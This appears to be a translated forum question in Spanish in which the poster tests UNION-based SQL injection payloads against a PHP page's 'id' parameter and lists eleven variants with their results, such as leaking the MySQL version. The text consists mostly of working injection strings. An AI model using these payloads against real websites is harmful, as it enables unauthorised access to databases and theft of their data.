Estoy jugando con inyección SQL (solo con fines educativos bla bla) y me quedé atascado en este extraño (para mí) comportamiento de la aplicación web:
Inyecté con éxito la siguiente carga útil
page.php?id=-1 union all select 1,2,3 -- -
y puedo ver el número 3
mostrado en la página. Bueno. Entonces, encontré la versión del servidor MySQL con
page.php?id=-1 union all select 1,2,@@version -- -
que genera 5.5.54
. Ahora, me gustaría encontrar la base de datos seleccionada actualmente, así que lo intenté
page.php?id=-1 union all select 1,2,database() -- -
que da la siguiente advertencia sin producir la salida esperada Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in ...
.
Después de horas de "prueba" observé los siguientes comportamientos:
(1)
page.php?id=-1 union all select 1,2,@@version -- -
[works, output 5.5.54]
(2)
page.php?id=-1 union all select 1,2,version() -- -
[warning, no output]
(3)
page.php?id=-1 union all select 1,2,'a' -- -
[warning, no output]
(4)
page.php?id=-1 union all select 1,2,2*0.5 -- -
[works, output 1.0]
(5)
page.php?id=-1 union all select 1,2,2-0.5 -- -
[works, output 1.5]
(6)
page.php?id=-1 union all select 1,2,ascii('test') -- -
[warning, no output]
(7)
page.php?id=(select 1) -- -
[works exactly as id=1]
(8)
page.php?id=-1 union all select 1,2,(select 1) -- -
[warning, no output]
(9)
page.php?id=-1 union all select 1,2,select 1 -- -
[warning, no output]
(10)
page.php?id=-1 union all select 1,2,greatest(0,1) -- -
[warning, no output]
(11)
page.php?id=greatest(0, 1) -- -
[works exactly as id=1]
Además, para cada variable de sistema del servidor ( MySQL 5.7 Reference Manual - Server System Variables ) funciona como se esperaba.
No tengo una pregunta específica, pero me parece que todos estos comportamientos no son consistentes (por ejemplo, (1) - (2) o (9) - (10) - (11) o muchos otros).